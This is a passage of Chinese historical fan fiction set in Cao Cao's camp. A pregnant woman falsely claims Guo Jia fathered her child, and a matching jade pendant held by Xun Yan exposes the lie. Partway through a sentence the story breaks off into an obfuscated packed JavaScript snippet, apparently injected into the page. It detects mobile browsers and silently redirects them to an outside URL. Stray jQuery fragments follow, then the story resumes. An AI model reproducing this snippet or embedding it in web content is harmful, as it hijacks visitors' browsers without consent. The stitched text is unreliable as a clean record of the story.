站在一旁的冀州正使田丰看不下去了。他上前一步,面带愠色。
“郭奉孝,大丈夫敢做敢当。你这般推脱,莫不是惧内?”
郭嘉眼皮一跳。
惧内?他倒是想。可惜八字还没一撇。昭若那性子,平日里看着温和,真要计较起来,别说贴身陪伴,怕是连荀府大门都不让他进。
“元皓先生慎言。”郭嘉转头看向曹操,拱手行礼,“主公明鉴。去年秋天,嘉出使冀州,乃是与昭若同行。同吃同住,形影不离。试问,嘉如何凭空变出时间,让这等来历不明的女子近身伺候?”
曹操手指叩击着案几。
他当然信郭嘉。但眼下局势微妙。兖州刚定,百废待兴。袁绍稳坐冀州,实力雄厚,更是名义上的盟主。此时若是为了一个女人和袁绍撕破脸,实属不智。
“奉孝。”曹操开口打圆场,“这女子既然大老远送来了,袁三公子也是一片好意。你若是不方便带回家,便先将她安置在我的后院。”
曹操自己后院就养着秦朗、何晏这些继子,多养一个来历不明的孕妇,对他来说根本不叫事。
郭嘉脸色沉了下来。
“主公不可。”郭嘉一口回绝,“此女满口谎言,拿着一块不知从哪偷来的玉佩,便敢冒充郭氏家眷。她蒙蔽袁尚公子,更陷嘉于不义。若就这般含糊过去,嘉的清誉受损。”
郭嘉转头盯着那个孕妇。
“这女子背后,必有图谋。请主公将此女交由满宠审问。满伯宁的手段,定能让她吐出实情。” 满宠的名字一出,大厅内的空气冷了几分。
曹营上下,谁不知道满伯宁的手段。进了他的刑房,石头都能榨出二两油。
那孕妇听到满宠的名字,虽然不知道是谁,但看曹操和郭嘉的神色,也知道不是什么善茬。
她伏在地上,哭天抢地:“曹公明鉴!妾身腹中确系郭氏血脉!若有半句虚言,叫妾身天打雷劈,不得好死!”
田丰皱着眉头,看着地上的孕妇,又看看面无惧色的郭嘉。
“既然郭奉孝言之凿凿,这女子又敢发下毒誓。”田丰板着脸,声音冷硬,“那便审!查个水落石出,也好还袁尚公子一个明白。”
孕妇的哭喊声卡在喉咙里。
她呆呆地看着田丰,满脸错愕。
这和出发前郭图先生交代的完全不一样。不是说这位元皓先生会力保她吗?怎么连他也同意用刑?
郭嘉暗自发笑。
郭图算计得挺好,用田丰的刚直来直谏曹操。可惜郭图算漏了一点,田丰的刚直是把双刃剑。
只要他抵死不认,并且坚持审问,田丰绝对不会和稀泥。
“来人。”曹操见田丰松口,当即下令,“去请满伯宁。”
满宠还未到,门外侍卫入内通报。
“主公,戏志才先生与陈群先生在门外求见。”
曹操视线转向郭嘉,下巴微抬,递去一个询问的眼神。
郭嘉脑中快速梳理局势。这曹营之中,若论支持自己与昭若之事的人,戏志才绝对一骑绝尘,稳居首位。此时此刻,他迫切需要这位生死之交来助自己一臂之力。
再看陈群,此人精通大汉律令,行事方正死板,最重真凭实据。自己行得正坐得端,这女子满口谎言,陈群定能从律法与证据的层面找出破绽。
郭嘉迎着曹操的目光,重重点头。
曹操挥手放行。
戏志才与陈群一前一后迈步入堂。两人先向曹操行礼,随后视线扫过堂内局势。
戏志才走到郭嘉身旁,压低声音询问情况。郭嘉三言两语将这桩飞来横祸交代清楚。
戏志才听完,斜睨着郭嘉,“你既然说玉佩在昭若书房的木匣里,为何不直接派人去取来比对?”
郭嘉压低嗓音,语气里透着顾虑,“那木匣放在昭若书房。我若派人去取,定会惊动他。这等不光彩的事,我并不想他知晓。”
戏志才抬手扶额,简直想撬开郭嘉的脑壳看看里面装了什么。
“你糊涂啊!”戏志才恨铁不成钢,“昭若何等聪明?你瞒着他,他若自己察觉端倪,暗中查出此事,你到时候百口莫辩。”
郭嘉思绪翻转。戏志才言之有理。荀衍若从旁人口中听闻他多出个怀胎七月的侍妾,那后果他不愿去想。
他迟疑道,“那我办完此事,再回去向他坦陈?”
戏志才连连摇头,“这等关乎清白的大事,事后解释最是无力。你应该立刻请主公派人,将昭若、文若还有公达一并请来旁听。他们亲眼看着得出的结论,远比事后你再去解释可信得多。”
郭嘉茅塞顿开。
他转身面向曹操,拱手行礼:“主公,此事关乎嘉的清誉,更关乎两军交涉。嘉请求将荀令君、荀攸、荀昭若一同请来旁听。另外,文若之妻出身名门,这些后宅阴私手段,她也许能够分辨,也可一并请来。是非曲直,当面断个分明。”
曹操审视郭嘉片刻。这般坦荡,毫无遮掩之意。他本就不信郭嘉会做出这种事,见郭嘉主动要求扩大旁听范围,当即点头。
“准。派人去荀府请人。”曹操下令。
陈群立于一侧,看着郭嘉这副恨不得全天下人都来听审的架势,心头的疑虑消退大半。真有私情之人,遇事只会遮掩,郭奉孝敢这么干,说明他心里没鬼。
半个时辰后,荀家人抵达州牧府。
唐氏接到通报时满心疑虑,不知州牧府议事为何要叫上她。待踏入大厅,听完戏志才的简述,她目光扫过跪在地上的孕妇,脸色当即沉了下来。
后宅阴私她见得多了。这种挺着大肚子上门讹诈的戏码,最是恶毒。真怀了郭氏血脉,早该在两三个月显怀时便送来,偏偏拖到七个月大、胎像稳固才送上门,摆明了是想用孩子拿捏人。
荀彧面罩寒霜。他盯着郭嘉,眼神里全是警告。若是这浪子真在外面留了风流债,他今日拼着抗命也要把荀衍与他隔离开来。
荀衍走在最后。他神色平静,视线与郭嘉交汇一瞬,便移开目光,找了个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17411706|197113||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
位置坐下。
人到齐了,满宠便开始断案。
他居高临下地看着孕妇,“你称腹中胎儿是奉孝血脉,有何凭证?”
孕妇颤抖着手,将那块刻着“郭”字的玉佩举起。“这是郭先生留给妾身的定情信物。”
满宠身边的文书上前,接过玉佩,呈给曹操,随后又拿到陈群和荀彧面前传阅。
荀彧只扫了一眼,便认出那确实是郭氏子弟的玉佩制式。他转头看向郭嘉,眼神中透着质问。
郭嘉立在原地,神色坦然,目光径直投向荀衍。
荀衍迎上郭嘉的视线,没有丝毫慌乱。他从宽大的袖袍中伸出手,掌心向上。
一枚色泽温润、雕工一模一样的玉佩,静静躺在他的掌心。
曹操目光在两块玉佩间来回移动,开口发问:“奉孝,我刚才就想问了。你颍川郭氏的贴身玉佩,为何会在昭若那里?”
“回主公。昭若加冠之日,嘉便将这枚玉佩,作为贺礼,赠予昭若。”
郭嘉顿了顿,视线扫过田丰,语气转冷。
“此玉佩自昭若加冠起,便一直留在他身边。嘉出使冀州时,身上根本没有这块玉佩。试问,嘉如何将一块不在身上的玉佩,赠予这个满口谎言的女子?”
“咔嚓。”
荀彧站在一旁,拳头捏出骨骼摩擦的脆响。
加冠礼!
哪有正经人家在加冠礼上,送代表自己身份的贴身信物的?
这跟私定终身有何分别?
他脑海中不受控制地浮现出那个装满艳词的紫檀木匣,再看看此刻郭嘉那副理直气壮的模样,只觉得气血上涌。
唐氏坐在侧边,端着茶盏的手停在半空。她看了一眼郭嘉,又看了一眼自家小叔子。这两人平日里黏糊也就罢了,如今竟当着主公和满堂文武的面把这事抖落出来。
这下整个曹营,谁还不知道郭奉孝对荀昭若存了什么心思?她察觉到丈夫的失态,悄悄伸出手,按住荀彧的手腕,轻轻拍了两下以作安抚。
戏志才强忍着笑意,端起茶水抿了一口。陈群则是双目圆睁,看了看郭嘉,又看了看荀衍,只觉得多年研读的圣贤书在这一刻碎了一地。
曹操摸着胡须,视线在郭嘉和荀衍之间转了一圈,干咳两声,将话题拉回正轨。
“伯宁,你怎么看?”
满宠拿着两块一模一样的玉佩,翻来覆去也查不出半点端倪。他将玉佩交还给侍卫,转头看向跪在地上的孕妇,“玉佩真假难辨,你还有何证据?”
那女子双手护着隆起的腹部,眼眶一红,泪水扑簌簌落下。
“你们欺人太甚!我腹中的骨肉便是铁证!难不成我一个弱女子,特地从冀州长途跋涉赶来,就为了用自己的清白来诬陷郭先生?”
她膝行两步,面向曹操叩首,言辞悲切。
“一场风流韵事,对郭先生这等名士而言,不过是平添一桩美谈,并无半点损失。可万一这胎儿有损,对我一个女子而言,便是灭顶之灾啊!”